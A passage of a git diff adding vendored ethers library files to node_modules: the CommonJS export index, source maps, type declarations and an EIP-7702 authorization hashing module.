exports.formatEther = exports.mask = exports.toTwos = exports.fromTwos = exports.toQuantity = exports.toNumber = exports.toBeHex = exports.toBigInt = exports.toBeArray = exports.getUint = exports.getNumber = exports.getBigInt = exports.FixedNumber = void 0; +var _version_js_1 = require("./_version.js"); +Object.defineProperty(exports, "version", { enumerable: true, get: function () { return _version_js_1.version; } }); +var index_js_1 = require("./abi/index.js"); +Object.defineProperty(exports, "decodeBytes32String", { enumerable: true, get: function () { return index_js_1.decodeBytes32String; } }); +Object.defineProperty(exports, "encodeBytes32String", { enumerable: true, get: function () { return index_js_1.encodeBytes32String; } }); +Object.defineProperty(exports, "AbiCoder", { enumerable: true, get: function () { return index_js_1.AbiCoder; } }); +Object.defineProperty(exports, "ConstructorFragment", { enumerable: true, get: function () { return index_js_1.ConstructorFragment; } }); +Object.defineProperty(exports, "ErrorFragment", { enumerable: true, get: function () { return index_js_1.ErrorFragment; } }); +Object.defineProperty(exports, "EventFragment", { enumerable: true, get: function () { return index_js_1.EventFragment; } }); +Object.defineProperty(exports, "Fragment", { enumerable: true, get: function () { return index_js_1.Fragment; } }); +Object.defineProperty(exports, "FallbackFragment", { enumerable: true, get: function () { return index_js_1.FallbackFragment; } }); +Object.defineProperty(exports, "FunctionFragment", { enumerable: true, get: function () { return index_js_1.FunctionFragment; } }); +Object.defineProperty(exports, "NamedFragment", { enumerable: true, get: function () { return index_js_1.NamedFragment; } }); +Object.defineProperty(exports, "ParamType", { enumerable: true, get: function () { return index_js_1.ParamType; } }); +Object.defineProperty(exports, "StructFragment", { enumerable: true, get: function () { return index_js_1.StructFragment; } }); +Object.defineProperty(exports, "checkResultErrors", { enumerable: true, get: function () { return index_js_1.checkResultErrors; } }); +Object.defineProperty(exports, "ErrorDescription", { enumerable: true, get: function () { return index_js_1.ErrorDescription; } }); +Object.defineProperty(exports, "Indexed", { enumerable: true, get: function () { return index_js_1.Indexed; } }); +Object.defineProperty(exports, "Interface", { enumerable: true, get: function () { return index_js_1.Interface; } }); +Object.defineProperty(exports, "LogDescription", { enumerable: true, get: function () { return index_js_1.LogDescription; } }); +Object.defineProperty(exports, "Result", { enumerable: true, get: function () { return index_js_1.Result; } }); +Object.defineProperty(exports, "TransactionDescription", { enumerable: true, get: function () { return index_js_1.TransactionDescription; } }); +Object.defineProperty(exports, "Typed", { enumerable: true, get: function () { return index_js_1.Typed; } }); +var index_js_2 = require("./address/index.js"); +Object.defineProperty(exports, "getAddress", { enumerable: true, get: function () { return index_js_2.getAddress; } }); +Object.defineProperty(exports, "getIcapAddress", { enumerable: true, get: function () { return index_js_2.getIcapAddress; } }); +Object.defineProperty(exports, "getCreateAddress", { enumerable: true, get: function () { return index_js_2.getCreateAddress; } }); +Object.defineProperty(exports, "getCreate2Address", { enumerable: true, get: function () { return index_js_2.getCreate2Address; } }); +Object.defineProperty(exports, "isAddressable", { enumerable: true, get: function () { return index_js_2.isAddressable; } }); +Object.defineProperty(exports, "isAddress", { enumerable: true, get: function () { return index_js_2.isAddress; } }); +Object.defineProperty(exports, "resolveAddress", { enumerable: true, get: function () { return index_js_2.resolveAddress; } }); +var index_js_3 = require("./constants/index.js"); +Object.defineProperty(exports, "ZeroAddress", { enumerable: true, get: function () { return index_js_3.ZeroAddress; } }); +Object.defineProperty(exports, "WeiPerEther", { enumerable: true, get: function () { return index_js_3.WeiPerEther; } }); +Object.defineProperty(exports, "MaxUint256", { enumerable: true, get: function () { return index_js_3.MaxUint256; } }); +Object.defineProperty(exports, "MinInt256", { enumerable: true, get: function () { return index_js_3.MinInt256; } }); +Object.defineProperty(exports, "MaxInt256", { enumerable: true, get: function () { return index_js_3.MaxInt256; } }); +Object.defineProperty(exports, "N", { enumerable: true, get: function () { return index_js_3.N; } }); +Object.defineProperty(exports, "ZeroHash", { enumerable: true, get: function () { return index_js_3.ZeroHash; } }); +Object.defineProperty(exports, "EtherSymbol", { enumerable: true, get: function () { return index_js_3.EtherSymbol; } }); +Object.defineProperty(exports, "MessagePrefix", { enumerable: true, get: function () { return index_js_3.MessagePrefix; } }); +var index_js_4 = require("./contract/index.js"); +Object.defineProperty(exports, "BaseContract", { enumerable: true, get: function () { return index_js_4.BaseContract; } }); +Object.defineProperty(exports, "Contract", { enumerable: true, get: function () { return index_js_4.Contract; } }); +Object.defineProperty(exports, "ContractFactory", { enumerable: true, get: function () { return index_js_4.ContractFactory; } }); +Object.defineProperty(exports, "ContractEventPayload", { enumerable: true, get: function () { return index_js_4.ContractEventPayload; } }); +Object.defineProperty(exports, "ContractTransactionReceipt", { enumerable: true, get: function () { return index_js_4.ContractTransactionReceipt; } }); +Object.defineProperty(exports, "ContractTransactionResponse", { enumerable: true, get: function () { return index_js_4.ContractTransactionResponse; } }); +Object.defineProperty(exports, "ContractUnknownEventPayload", { enumerable: true, get: function () { return index_js_4.ContractUnknownEventPayload; } }); +Object.defineProperty(exports, "EventLog", { enumerable: true, get: function () { return index_js_4.EventLog; } }); +Object.defineProperty(exports, "UndecodedEventLog", { enumerable: true, get: function () { return index_js_4.UndecodedEventLog; } }); +var index_js_5 = require("./crypto/index.js"); +Object.defineProperty(exports, "computeHmac", { enumerable: true, get: function () { return index_js_5.computeHmac; } }); +Object.defineProperty(exports, "randomBytes", { enumerable: true, get: function () { return index_js_5.randomBytes; } }); +Object.defineProperty(exports, "keccak256", { enumerable: true, get: function () { return index_js_5.keccak256; } }); +Object.defineProperty(exports, "ripemd160", { enumerable: true, get: function () { return index_js_5.ripemd160; } }); +Object.defineProperty(exports, "sha256", { enumerable: true, get: function () { return index_js_5.sha256; } }); +Object.defineProperty(exports, "sha512", { enumerable: true, get: function () { return index_js_5.sha512; } }); +Object.defineProperty(exports, "pbkdf2", { enumerable: true, get: function () { return index_js_5.pbkdf2; } }); +Object.defineProperty(exports, "scrypt", { enumerable: true, get: function () { return index_js_5.scrypt; } }); +Object.defineProperty(exports, "scryptSync", { enumerable: true, get: function () { return index_js_5.scryptSync; } }); +Object.defineProperty(exports, "lock", { enumerable: true, get: function () { return index_js_5.lock; } }); +Object.defineProperty(exports, "Signature", { enumerable: true, get: function () { return index_js_5.Signature; } }); +Object.defineProperty(exports, "SigningKey", { enumerable: true, get: function () { return index_js_5.SigningKey; } }); +var index_js_6 = require("./hash/index.js"); +Object.defineProperty(exports, "id", { enumerable: true, get: function () { return index_js_6.id; } }); +Object.defineProperty(exports, "ensNormalize", { enumerable: true, get: function () { return index_js_6.ensNormalize; } }); +Object.defineProperty(exports, "isValidName", { enumerable: true, get: function () { return index_js_6.isValidName; } }); +Object.defineProperty(exports, "namehash", { enumerable: true, get: function () { return index_js_6.namehash; } }); +Object.defineProperty(exports, "dnsEncode", { enumerable: true, get: function () { return index_js_6.dnsEncode; } }); +Object.defineProperty(exports, "hashAuthorization", { enumerable: true, get: function () { return index_js_6.hashAuthorization; } }); +Object.defineProperty(exports, "verifyAuthorization", { enumerable: true, get: function () { return index_js_6.verifyAuthorization; } }); +Object.defineProperty(exports, "hashMessage", { enumerable: true, get: function () { return index_js_6.hashMessage; } }); +Object.defineProperty(exports, "verifyMessage", { enumerable: true, get: function () { return index_js_6.verifyMessage; } }); +Object.defineProperty(exports, "solidityPacked", { enumerable: true, get: function () { return index_js_6.solidityPacked; } }); +Object.defineProperty(exports, "solidityPackedKeccak256", { enumerable: true, get: function () { return index_js_6.solidityPackedKeccak256; } }); +Object.defineProperty(exports, "solidityPackedSha256", { enumerable: true, get: function () { return index_js_6.solidityPackedSha256; } }); +Object.defineProperty(exports, "TypedDataEncoder", { enumerable: true, get: function () { return index_js_6.TypedDataEncoder; } }); +Object.defineProperty(exports, "verifyTypedData", { enumerable: true, get: function () { return index_js_6.verifyTypedData; } }); +var index_js_7 = require("./providers/index.js"); +Object.defineProperty(exports, "getDefaultProvider", { enumerable: true, get: function () { return index_js_7.getDefaultProvider; } }); +Object.defineProperty(exports, "Block", { enumerable: true, get: function () { return index_js_7.Block; } }); +Object.defineProperty(exports, "FeeData", { enumerable: true, get: function () { return index_js_7.FeeData; } }); +Object.defineProperty(exports, "Log", { enumerable: true, get: function () { return index_js_7.Log; } }); +Object.defineProperty(exports, "TransactionReceipt", { enumerable: true, get: function () { return index_js_7.TransactionReceipt; } }); +Object.defineProperty(exports, "TransactionResponse", { enumerable: true, get: function () { return index_js_7.TransactionResponse; } }); +Object.defineProperty(exports, "AbstractSigner", { enumerable: true, get: function () { return index_js_7.AbstractSigner; } }); +Object.defineProperty(exports, "NonceManager", { enumerable: true, get: function () { return index_js_7.NonceManager; } }); +Object.defineProperty(exports, "VoidSigner", { enumerable: true, get: function () { return index_js_7.VoidSigner; } }); +Object.defineProperty(exports, "AbstractProvider", { enumerable: true, get: function () { return index_js_7.AbstractProvider; } }); +Object.defineProperty(exports, "FallbackProvider", { enumerable: true, get: function () { return index_js_7.FallbackProvider; } }); +Object.defineProperty(exports, "JsonRpcApiProvider", { enumerable: true, get: function () { return index_js_7.JsonRpcApiProvider; } }); +Object.defineProperty(exports, "JsonRpcProvider", { enumerable: true, get: function () { return index_js_7.JsonRpcProvider; } }); +Object.defineProperty(exports, "JsonRpcSigner", { enumerable: true, get: function () { return index_js_7.JsonRpcSigner; } }); +Object.defineProperty(exports, "BrowserProvider", { enumerable: true, get: function () { return index_js_7.BrowserProvider; } }); +Object.defineProperty(exports, "AlchemyProvider", { enumerable: true, get: function () { return index_js_7.AlchemyProvider; } }); +Object.defineProperty(exports, "AnkrProvider", { enumerable: true, get: function () { return index_js_7.AnkrProvider; } }); +Object.defineProperty(exports, "BlockscoutProvider", { enumerable: true, get: function () { return index_js_7.BlockscoutProvider; } }); +Object.defineProperty(exports, "ChainstackProvider", { enumerable: true, get: function () { return index_js_7.ChainstackProvider; } }); +Object.defineProperty(exports, "CloudflareProvider", { enumerable: true, get: function () { return index_js_7.CloudflareProvider; } }); +Object.defineProperty(exports, "EtherscanProvider", { enumerable: true, get: function () { return index_js_7.EtherscanProvider; } }); +Object.defineProperty(exports, "InfuraProvider", { enumerable: true, get: function () { return index_js_7.InfuraProvider; } }); +Object.defineProperty(exports, "InfuraWebSocketProvider", { enumerable: true, get: function () { return index_js_7.InfuraWebSocketProvider; } }); +Object.defineProperty(exports, "PocketProvider", { enumerable: true, get: function () { return index_js_7.PocketProvider; } }); +Object.defineProperty(exports, "QuickNodeProvider", { enumerable: true, get: function () { return index_js_7.QuickNodeProvider; } }); +Object.defineProperty(exports, "IpcSocketProvider", { enumerable: true, get: function () { return index_js_7.IpcSocketProvider; } }); +Object.defineProperty(exports, "SocketProvider", { enumerable: true, get: function () { return index_js_7.SocketProvider; } }); +Object.defineProperty(exports, "WebSocketProvider", { enumerable: true, get: function () { return index_js_7.WebSocketProvider; } }); +Object.defineProperty(exports, "EnsResolver", { enumerable: true, get: function () { return index_js_7.EnsResolver; } }); +Object.defineProperty(exports, "Network", { enumerable: true, get: function () { return index_js_7.Network; } }); +Object.defineProperty(exports, "EnsPlugin", { enumerable: true, get: function () { return index_js_7.EnsPlugin; } }); +Object.defineProperty(exports, "EtherscanPlugin", { enumerable: true, get: function () { return index_js_7.EtherscanPlugin; } }); +Object.defineProperty(exports, "FeeDataNetworkPlugin", { enumerable: true, get: function () { return index_js_7.FeeDataNetworkPlugin; } }); +Object.defineProperty(exports, "FetchUrlFeeDataNetworkPlugin", { enumerable: true, get: function () { return index_js_7.FetchUrlFeeDataNetworkPlugin; } }); +Object.defineProperty(exports, "GasCostPlugin", { enumerable: true, get: function () { return index_js_7.GasCostPlugin; } }); +Object.defineProperty(exports, "NetworkPlugin", { enumerable: true, get: function () { return index_js_7.NetworkPlugin; } }); +Object.defineProperty(exports, "MulticoinProviderPlugin", { enumerable: true, get: function () { return index_js_7.MulticoinProviderPlugin; } }); +Object.defineProperty(exports, "SocketBlockSubscriber", { enumerable: true, get: function () { return index_js_7.SocketBlockSubscriber; } }); +Object.defineProperty(exports, "SocketEventSubscriber", { enumerable: true, get: function () { return index_js_7.SocketEventSubscriber; } }); +Object.defineProperty(exports, "SocketPendingSubscriber", { enumerable: true, get: function () { return index_js_7.SocketPendingSubscriber; } }); +Object.defineProperty(exports, "SocketSubscriber", { enumerable: true, get: function () { return index_js_7.SocketSubscriber; } }); +Object.defineProperty(exports, "UnmanagedSubscriber", { enumerable: true, get: function () { return index_js_7.UnmanagedSubscriber; } }); +Object.defineProperty(exports, "copyRequest", { enumerable: true, get: function () { return index_js_7.copyRequest; } }); +Object.defineProperty(exports, "showThrottleMessage", { enumerable: true, get: function () { return index_js_7.showThrottleMessage; } }); +var index_js_8 = require("./transaction/index.js"); +Object.defineProperty(exports, "accessListify", { enumerable: true, get: function () { return index_js_8.accessListify; } }); +Object.defineProperty(exports, "authorizationify", { enumerable: true, get: function () { return index_js_8.authorizationify; } }); +Object.defineProperty(exports, "computeAddress", { enumerable: true, get: function () { return index_js_8.computeAddress; } }); +Object.defineProperty(exports, "recoverAddress", { enumerable: true, get: function () { return index_js_8.recoverAddress; } }); +Object.defineProperty(exports, "Transaction", { enumerable: true, get: function () { return index_js_8.Transaction; } }); +var index_js_9 = require("./utils/index.js"); +Object.defineProperty(exports, "decodeBase58", { enumerable: true, get: function () { return index_js_9.decodeBase58; } }); +Object.defineProperty(exports, "encodeBase58", { enumerable: true, get: function () { return index_js_9.encodeBase58; } }); +Object.defineProperty(exports, "decodeBase64", { enumerable: true, get: function () { return index_js_9.decodeBase64; } }); +Object.defineProperty(exports, "encodeBase64", { enumerable: true, get: function () { return index_js_9.encodeBase64; } }); +Object.defineProperty(exports, "concat", { enumerable: true, get: function () { return index_js_9.concat; } }); +Object.defineProperty(exports, "dataLength", { enumerable: true, get: function () { return index_js_9.dataLength; } }); +Object.defineProperty(exports, "dataSlice", { enumerable: true, get: function () { return index_js_9.dataSlice; } }); +Object.defineProperty(exports, "getBytes", { enumerable: true, get: function () { return index_js_9.getBytes; } }); +Object.defineProperty(exports, "getBytesCopy", { enumerable: true, get: function () { return index_js_9.getBytesCopy; } }); +Object.defineProperty(exports, "hexlify", { enumerable: true, get: function () { return index_js_9.hexlify; } }); +Object.defineProperty(exports, "isHexString", { enumerable: true, get: function () { return index_js_9.isHexString; } }); +Object.defineProperty(exports, "isBytesLike", { enumerable: true, get: function () { return index_js_9.isBytesLike; } }); +Object.defineProperty(exports, "stripZerosLeft", { enumerable: true, get: function () { return index_js_9.stripZerosLeft; } }); +Object.defineProperty(exports, "zeroPadBytes", { enumerable: true, get: function () { return index_js_9.zeroPadBytes; } }); +Object.defineProperty(exports, "zeroPadValue", { enumerable: true, get: function () { return index_js_9.zeroPadValue; } }); +Object.defineProperty(exports, "defineProperties", { enumerable: true, get: function () { return index_js_9.defineProperties; } }); +Object.defineProperty(exports, "resolveProperties", { enumerable: true, get: function () { return index_js_9.resolveProperties; } }); +Object.defineProperty(exports, "assert", { enumerable: true, get: function () { return index_js_9.assert; } }); +Object.defineProperty(exports, "assertArgument", { enumerable: true, get: function () { return index_js_9.assertArgument; } }); +Object.defineProperty(exports, "assertArgumentCount", { enumerable: true, get: function () { return index_js_9.assertArgumentCount; } }); +Object.defineProperty(exports, "assertNormalize", { enumerable: true, get: function () { return index_js_9.assertNormalize; } }); +Object.defineProperty(exports, "assertPrivate", { enumerable: true, get: function () { return index_js_9.assertPrivate; } }); +Object.defineProperty(exports, "makeError", { enumerable: true, get: function () { return index_js_9.makeError; } }); +Object.defineProperty(exports, "isCallException", { enumerable: true, get: function () { return index_js_9.isCallException; } }); +Object.defineProperty(exports, "isError", { enumerable: true, get: function () { return index_js_9.isError; } }); +Object.defineProperty(exports, "EventPayload", { enumerable: true, get: function () { return index_js_9.EventPayload; } }); +Object.defineProperty(exports, "FetchRequest", { enumerable: true, get: function () { return index_js_9.FetchRequest; } }); +Object.defineProperty(exports, "FetchResponse", { enumerable: true, get: function () { return index_js_9.FetchResponse; } }); +Object.defineProperty(exports, "FetchCancelSignal", { enumerable: true, get: function () { return index_js_9.FetchCancelSignal; } }); +Object.defineProperty(exports, "FixedNumber", { enumerable: true, get: function () { return index_js_9.FixedNumber; } }); +Object.defineProperty(exports, "getBigInt", { enumerable: true, get: function () { return index_js_9.getBigInt; } }); +Object.defineProperty(exports, "getNumber", { enumerable: true, get: function () { return index_js_9.getNumber; } }); +Object.defineProperty(exports, "getUint", { enumerable: true, get: function () { return index_js_9.getUint; } }); +Object.defineProperty(exports, "toBeArray", { enumerable: true, get: function () { return index_js_9.toBeArray; } }); +Object.defineProperty(exports, "toBigInt", { enumerable: true, get: function () { return index_js_9.toBigInt; } }); +Object.defineProperty(exports, "toBeHex", { enumerable: true, get: function () { return index_js_9.toBeHex; } }); +Object.defineProperty(exports, "toNumber", { enumerable: true, get: function () { return index_js_9.toNumber; } }); +Object.defineProperty(exports, "toQuantity", { enumerable: true, get: function () { return index_js_9.toQuantity; } }); +Object.defineProperty(exports, "fromTwos", { enumerable: true, get: function () { return index_js_9.fromTwos; } }); +Object.defineProperty(exports, "toTwos", { enumerable: true, get: function () { return index_js_9.toTwos; } }); +Object.defineProperty(exports, "mask", { enumerable: true, get: function () { return index_js_9.mask; } }); +Object.defineProperty(exports, "formatEther", { enumerable: true, get: function () { return index_js_9.formatEther; } }); +Object.defineProperty(exports, "parseEther", { enumerable: true, get: function () { return index_js_9.parseEther; } }); +Object.defineProperty(exports, "formatUnits", { enumerable: true, get: function () { return index_js_9.formatUnits; } }); +Object.defineProperty(exports, "parseUnits", { enumerable: true, get: function () { return index_js_9.parseUnits; } }); +Object.defineProperty(exports, "toUtf8Bytes", { enumerable: true, get: function () { return index_js_9.toUtf8Bytes; } }); +Object.defineProperty(exports, "toUtf8CodePoints", { enumerable: true, get: function () { return index_js_9.toUtf8CodePoints; } }); +Object.defineProperty(exports, "toUtf8String", { enumerable: true, get: function () { return index_js_9.toUtf8String; } }); +Object.defineProperty(exports, "Utf8ErrorFuncs", { enumerable: true, get: function () { return index_js_9.Utf8ErrorFuncs; } }); +Object.defineProperty(exports, "decodeRlp", { enumerable: true, get: function () { return index_js_9.decodeRlp; } }); +Object.defineProperty(exports, "encodeRlp", { enumerable: true, get: function () { return index_js_9.encodeRlp; } }); +Object.defineProperty(exports, "uuidV4", { enumerable: true, get: function () { return index_js_9.uuidV4; } }); +var index_js_10 = require("./wallet/index.js"); +Object.defineProperty(exports, "Mnemonic", { enumerable: true, get: function () { return index_js_10.Mnemonic; } }); +Object.defineProperty(exports, "BaseWallet", { enumerable: true, get: function () { return index_js_10.BaseWallet; } }); +Object.defineProperty(exports, "HDNodeWallet", { enumerable: true, get: function () { return index_js_10.HDNodeWallet; } }); +Object.defineProperty(exports, "HDNodeVoidWallet", { enumerable: true, get: function () { return index_js_10.HDNodeVoidWallet; } }); +Object.defineProperty(exports, "Wallet", { enumerable: true, get: function () { return index_js_10.Wallet; } }); +Object.defineProperty(exports, "defaultPath", { enumerable: true, get: function () { return index_js_10.defaultPath; } }); +Object.defineProperty(exports, "getAccountPath", { enumerable: true, get: function () { return index_js_10.getAccountPath; } }); +Object.defineProperty(exports, "getIndexedAccountPath", { enumerable: true, get: function () { return index_js_10.getIndexedAccountPath; } }); +Object.defineProperty(exports, "isCrowdsaleJson", { enumerable: true, get: function () { return index_js_10.isCrowdsaleJson; } }); +Object.defineProperty(exports, "isKeystoreJson", { enumerable: true, get: function () { return index_js_10.isKeystoreJson; } }); +Object.defineProperty(exports, "decryptCrowdsaleJson", { enumerable: true, get: function () { return index_js_10.decryptCrowdsaleJson; } }); +Object.defineProperty(exports, "decryptKeystoreJsonSync", { enumerable: true, get: function () { return index_js_10.decryptKeystoreJsonSync; } }); +Object.defineProperty(exports, "decryptKeystoreJson", { enumerable: true, get: function () { return index_js_10.decryptKeystoreJson; } }); +Object.defineProperty(exports, "encryptKeystoreJson", { enumerable: true, get: function () { return index_js_10.encryptKeystoreJson; } }); +Object.defineProperty(exports, "encryptKeystoreJsonSync", { enumerable: true, get: function () { return index_js_10.encryptKeystoreJsonSync; } }); +var index_js_11 = require("./wordlists/index.js"); +Object.defineProperty(exports, "Wordlist", { enumerable: true, get: function () { return index_js_11.Wordlist; } }); +Object.defineProperty(exports, "LangEn", { enumerable: true, get: function () { return index_js_11.LangEn; } }); +Object.defineProperty(exports, "WordlistOwl", { enumerable: true, get: function () { return index_js_11.WordlistOwl; } }); +Object.defineProperty(exports, "WordlistOwlA", { enumerable: true, get: function () { return index_js_11.WordlistOwlA; } }); +Object.defineProperty(exports, "wordlists", { enumerable: true, get: function () { return index_js_11.wordlists; } }); +// dummy change; to pick-up ws security issue changes +//# sourceMappingURL=ethers.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/ethers.js.map b/node_modules/ethers/lib.commonjs/ethers.js.map new file mode 100644 index 000000000000..5c0c0eaaa630 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/ethers.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ethers.js","sourceRoot":"","sources":["../src.ts/ethers.ts"],"names":[],"mappings":";AAEA,6BAA6B;AAC7B,EAAE;;;;;;AAEF,6CAAwC;AAA/B,sGAAA,OAAO,OAAA;AAEhB,2CAQwB;AAPpB,+GAAA,mBAAmB,OAAA;AAAE,+GAAA,mBAAmB,OAAA;AAExC,oGAAA,QAAQ,OAAA;AACR,+GAAA,mBAAmB,OAAA;AAAE,yGAAA,aAAa,OAAA;AAAE,yGAAA,aAAa,OAAA;AAAE,oGAAA,QAAQ,OAAA;AAAE,4GAAA,gBAAgB,OAAA;AAAE,4GAAA,gBAAgB,OAAA;AAAE,yGAAA,aAAa,OAAA;AAAE,qGAAA,SAAS,OAAA;AAAE,0GAAA,cAAc,OAAA;AAEzI,6GAAA,iBAAiB,OAAA;AAAE,4GAAA,gBAAgB,OAAA;AAAE,mGAAA,OAAO,OAAA;AAAE,qGAAA,SAAS,OAAA;AAAE,0GAAA,cAAc,OAAA;AAAE,kGAAA,MAAM,OAAA;AAAE,kHAAA,sBAAsB,OAAA;AACvG,iGAAA,KAAK,OAAA;AAGT,+CAI4B;AAHxB,sGAAA,UAAU,OAAA;AAAE,0GAAA,cAAc,OAAA;AAC1B,4GAAA,gBAAgB,OAAA;AAAE,6GAAA,iBAAiB,OAAA;AACnC,yGAAA,aAAa,OAAA;AAAE,qGAAA,SAAS,OAAA;AAAE,0GAAA,cAAc,OAAA;AAG5C,iDAK8B;AAJ1B,uGAAA,WAAW,OAAA;AACX,uGAAA,WAAW,OAAA;AAAE,sGAAA,UAAU,OAAA;AAAE,qGAAA,SA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cAAc,OAAA;AACd,qGAAA,SAAS,OAAA;AAAE,qGAAA,SAAS,OAAA;AACpB,kGAAA,MAAM,OAAA;AAGV,+CAY2B;AAXvB,qGAAA,QAAQ,OAAA;AACR,uGAAA,UAAU,OAAA;AAAE,yGAAA,YAAY,OAAA;AAAE,6GAAA,gBAAgB,OAAA;AAC1C,mGAAA,MAAM,OAAA;AAEN,wGAAA,WAAW,OAAA;AAEX,2GAAA,cAAc,OAAA;AAAE,kHAAA,qBAAqB,OAAA;AACrC,4GAAA,eAAe,OAAA;AAAE,2GAAA,cAAc,OAAA;AAE/B,iHAAA,oBAAoB,OAAA;AAAE,oHAAA,uBAAuB,OAAA;AAAE,gHAAA,mBAAmB,OAAA;AAClE,gHAAA,mBAAmB,OAAA;AAAE,oHAAA,uBAAuB,OAAA;AAGhD,kDAE8B;AAD1B,qGAAA,QAAQ,OAAA;AAAE,mGAAA,MAAM,OAAA;AAAE,wGAAA,WAAW,OAAA;AAAE,yGAAA,YAAY,OAAA;AAAE,sGAAA,SAAS,OAAA;AAuF1D,qDAAqD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/authorization.d.ts b/node_modules/ethers/lib.commonjs/hash/authorization.d.ts new file mode 100644 index 000000000000..0d883a2f8be3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/authorization.d.ts @@ -0,0 +1,18 @@ +import type { Addressable } from "../address/index.js"; +import type { SignatureLike } from "../crypto/index.js"; +import type { BigNumberish, Numeric } from "../utils/index.js"; +export interface AuthorizationRequest { + address: string | Addressable; + nonce?: Numeric; + chainId?: BigNumberish; +} +/** + * Computes the [[link-eip-7702]] authorization digest to sign. + */ +export declare function hashAuthorization(auth: AuthorizationRequest): string; +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export declare function verifyAuthorization(auth: AuthorizationRequest, sig: SignatureLike): string; +//# sourceMappingURL=authorization.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/authorization.d.ts.map b/node_modules/ethers/lib.commonjs/hash/authorization.d.ts.map new file mode 100644 index 000000000000..e8899a242d71 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/authorization.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.d.ts","sourceRoot":"","sources":["../../src.ts/hash/authorization.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AACvD,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AACxD,OAAO,KAAK,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAE/D,MAAM,WAAW,oBAAoB;IACjC,OAAO,EAAE,MAAM,GAAG,WAAW,CAAC;IAC9B,KAAK,CAAC,EAAE,OAAO,CAAC;IAChB,OAAO,CAAC,EAAE,YAAY,CAAC;CAC1B;AAED;;GAEG;AACH,wBAAgB,iBAAiB,CAAC,IAAI,EAAE,oBAAoB,GAAG,MAAM,CASpE;AAED;;;GAGG;AACH,wBAAgB,mBAAmB,CAAC,IAAI,EAAE,oBAAoB,EAAE,GAAG,EAAE,aAAa,GAAG,MAAM,CAE1F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/authorization.js b/node_modules/ethers/lib.commonjs/hash/authorization.js new file mode 100644 index 000000000000..31241179dfea --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/authorization.js @@ -0,0 +1,30 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.verifyAuthorization = exports.hashAuthorization = void 0; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../transaction/index.js"); +const index_js_4 = require("../utils/index.js"); +/** + * Computes the [[link-eip-7702]] authorization digest to sign. + */ +function hashAuthorization(auth) { + (0, index_js_4.assertArgument)(typeof (auth.address) === "string", "invalid address for hashAuthorization", "auth.address", auth); + return (0, index_js_2.keccak256)((0, index_js_4.concat)([ + "0x05", (0, index_js_4.encodeRlp)([ + (auth.chainId != null) ? (0, index_js_4.toBeArray)(auth.chainId) : "0x", + (0, index_js_1.getAddress)(auth.address), + (auth.nonce != null) ? (0, index_js_4.toBeArray)(auth.nonce) : "0x", + ]) + ])); +} +exports.hashAuthorization = hashAuthorization; +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +function verifyAuthorization(auth, sig) { + return (0, index_js_3.recoverAddress)(hashAuthorization(auth), sig); +} +exports.verifyAuthorization = verifyAuthorization; +//# sourceMappingURL=authorization.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/authorization.js.map b/node_modules/ethers/lib.commonjs/hash/authorization.js.map new file mode 100644 index 000000000000..2edb904c690f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/authorization.js.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.js","sourceRoot":"","sources":["../../src.ts/hash/authorization.ts"],"names":[],"mappings":";;;AAAA,kDAAiD;AACjD,iDAA+C;AAC/C,sDAAyD;AACzD,gDAE2B;AAY3B;;GAEG;AACH,SAAgB,iBAAiB,CAAC,IAA0B;IACxD,IAAA,yBAAc,EAAC,OAAM,CAAC,IAAI,CAAC,OAAO,CAAC,KAAK,QAAQ,EAAE,uCAAuC,EAAE,cAAc,EAAE,IAAI,CAAC,CAAC;IACjH,OAAO,IAAA,oBAAS,EAAC,IAAA,iBAAM,EAAC;QACpB,MAAM,EAAE,IAAA,oBAAS,EAAC;YACd,CAAC,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,IAAA,oBAAS,EAAC,IAAI,CAAC,OAAO,CAAC,CAAA,CAAC,CAAC,IAAI;YACtD,IAAA,qBAAU,EAAC,IAAI,CAAC,OAAO,CAAC;YACxB,CAAC,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,IAAA,oBAAS,EAAC,IAAI,CAAC,KAAK,CAAC,CAAA,CAAC,CAAC,IAAI;SACrD,CAAC;KACL,CAAC,CAAC,CAAC;AACR,CAAC;AATD,8CASC;AAED;;;GAGG;AACH,SAAgB,mBAAmB,CAAC,IAA0B,EAAE,GAAkB;IAC9E,OAAO,IAAA,yBAAc,EAAC,iBAAiB,CAAC,IAAI,CAAC,EAAE,GAAG,CAAC,CAAC;AACxD,CAAC;AAFD,kDAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/id.d.ts b/node_modules/ethers/lib.commonjs/hash/id.d.ts new file mode 100644 index 000000000000..8d5e05794ac7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/hash/id.d.ts @@ -0,0 +1,13 @@ +/** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ +export declare function id(value: string): string; +//# sourceMappingURL=id.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/hash/id.d.ts.map b/node_modules/ethers/lib.commonjs/hash/id.d.ts.map new file mode 100644 index 000000000000..713788d86de8 --- /dev/null +++ 